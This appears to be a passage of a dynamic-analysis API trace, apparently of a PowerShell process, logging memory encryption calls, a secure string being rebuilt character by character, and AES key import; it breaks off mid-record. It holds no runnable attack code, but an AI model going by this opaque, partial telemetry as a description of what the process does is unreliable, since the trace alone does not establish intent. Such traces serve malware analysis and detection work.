(param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0134.900] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.900] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0134.900] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0134.900] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.900] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0134.900] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.900] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0134.900] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.900] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0134.900] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0134.901] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0134.901] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0134.901] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0134.901] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0134.901] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0134.901] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0134.901] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0134.901] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.901] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0134.901] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.902] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0134.902] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0134.902] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.902] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0134.902] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0134.902] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.902] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0134.902] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0134.902] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.902] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0134.902] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.902] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0134.902] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0134.903] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.903] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0134.903] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0134.903] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.903] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0134.903] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0134.903] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.903] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0134.903] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0134.903] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.903] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0134.903] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.903] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0134.903] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x20 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498") returned 0x28 [0134.904] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.904] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYᘎ柟፽굥ᑋ") returned 0x28 [0134.904] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x440c\x1abc\x5d33\x886\x613f\xed12\x8dce\x52d5") returned 0x28 [0134.904] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.904] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYm柟፽굥ᑋ") returned 0x28 [0134.904] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xf580\x4314\xb5cd\xf10a\x3db6\x7e34\x4979\xc8b9") returned 0x28 [0134.904] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.904] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY፽굥ᑋ") returned 0x28 [0134.904] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.904] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x1619\x82d\x1bf3\x12ab\x9333\x75d9\x3b3a\xe1e8") returned 0x28 [0134.904] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.904] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0፽굥ᑋ") returned 0x28 [0134.904] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.905] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x2d34\x22d\x1f9b\x41c3\x7a3b\xdfbe\x223c\xc5f3") returned 0x28 [0134.905] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0N굥ᑋ") returned 0x28 [0134.905] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.905] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x70e7\x9778\xf41b\x35a4\x29ea\x7616\x9cd\x19e3") returned 0x28 [0134.905] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTᑋ") returned 0x28 [0134.905] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.905] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\x46cc\x8f10\x2a8e\x376c\x9fc1\x19c4\x83b7\x6d7c") returned 0x28 [0134.905] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZlYmY0NTAᑋ") returned 0x28 [0134.905] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.905] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xdaf9\x1624\x1497\xf298\xd7bd\xb9f0\xa7eb\x2498\xfed7\xc832\xd0f1\x4f86\x1ac\x2010\xca10\x76f8") returned 0x28 [0134.905] SystemFunction041 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SystemFunction040 (in: Memory=0x438384c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x438384c) returned 0x0 [0134.905] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction041 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.906] SystemFunction040 (in: Memory=0x8e30e54, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30e54) returned 0x0 [0134.907] CryptAcquireContextW (in: phProv=0x99ae630, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae630*=0x43964e8) returned 1 [0134.907] CryptImportKey (in: hProv=0x43964e8, pbData=0x6adb0a0, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x99aea04 | out: phKey=0x99aea04*=0x8e84ff8) returned 1 [0134.907] CryptContextAddRef (hProv=0x43964e8, pdwReserved=0x0, dwFlags=0x0) returned 1 [0134.907] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae3a0, nSize=0x100 | out: lpBuffer="") returned 0x0 [0134.908] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, 